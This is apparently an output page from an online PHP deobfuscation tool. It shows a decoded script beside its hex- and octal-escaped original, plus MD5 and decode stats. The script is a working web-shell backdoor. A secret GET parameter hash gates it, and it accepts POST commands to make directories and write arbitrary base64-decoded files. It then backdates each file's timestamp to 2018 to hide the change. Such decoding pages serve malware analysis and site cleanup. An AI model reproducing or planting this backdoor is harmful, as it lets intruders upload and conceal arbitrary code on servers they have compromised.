Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(E_ALL & ~E_NOTICE); ini_set('display_errors', 0); $loDFDJ = $_GE..

Decoded Output download

<?php  
error_reporting(E_ALL & ~E_NOTICE); 
ini_set('display_errors', 0); 
$loDFDJ = $_GET["log"]; if (!($loDFDJ != "7d3ccda040cde960af8453e518476f0f")) { goto lvNgFJJ; } exit("."); lvNgFJJ: function jss($loDFDg) { echo json_encode($loDFDg); } $loDFDF = $_POST["act"]; if (empty($loDFDF)) { goto lvNgFJD; } if (!($loDFDF == "test")) { goto lvNgFJg; } jss(array("code" => 200)); lvNgFJg: if (!($loDFDF == "mkdir")) { goto lvNgFJF; } $loDFDR = $_POST["dir"]; mkdir($loDFDR); chmod($loDFDR, 0755); jss(array("code" => 200)); lvNgFJF: if (!($loDFDF == "upload")) { goto lvNgFJR; } $loDFDD = $_POST["file"]; $loDFDZ = $_POST["data"]; $loDFDU = base64_decode($loDFDZ); file_put_contents($loDFDD, $loDFDU); chmod($loDFDD, 0644); touch($loDFDD, strtotime("2018-04-11 11:37:56")); jss(array("code" => 200)); lvNgFJR: lvNgFJD: ?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(E_ALL & ~E_NOTICE);
ini_set('display_errors', 0);
$loDFDJ = $_GET["\154\x6f\147"]; if (!($loDFDJ != "\67\x64\x33\143\143\144\x61\x30\64\60\x63\144\145\x39\x36\60\x61\x66\70\64\65\63\145\x35\x31\70\64\x37\66\x66\60\146")) { goto lvNgFJJ; } exit("\x2e"); lvNgFJJ: function jss($loDFDg) { echo json_encode($loDFDg); } $loDFDF = $_POST["\x61\143\x74"]; if (empty($loDFDF)) { goto lvNgFJD; } if (!($loDFDF == "\164\x65\x73\x74")) { goto lvNgFJg; } jss(array("\x63\x6f\144\x65" => 200)); lvNgFJg: if (!($loDFDF == "\155\153\x64\x69\162")) { goto lvNgFJF; } $loDFDR = $_POST["\144\151\162"]; mkdir($loDFDR); chmod($loDFDR, 0755); jss(array("\143\157\144\145" => 200)); lvNgFJF: if (!($loDFDF == "\x75\160\x6c\157\141\x64")) { goto lvNgFJR; } $loDFDD = $_POST["\x66\x69\154\145"]; $loDFDZ = $_POST["\144\x61\x74\x61"]; $loDFDU = base64_decode($loDFDZ); file_put_contents($loDFDD, $loDFDU); chmod($loDFDD, 0644); touch($loDFDD, strtotime("\x32\x30\61\x38\x2d\60\x34\x2d\61\x31\x20\x31\61\72\63\x37\72\x35\66")); jss(array("\x63\157\x64\145" => 200)); lvNgFJR: lvNgFJD:

Function Calls

None

Variables

None

Stats

MD5 a5d88b1936da3e0effadba0568f831d6
Eval Count 0
Decode Time 91 ms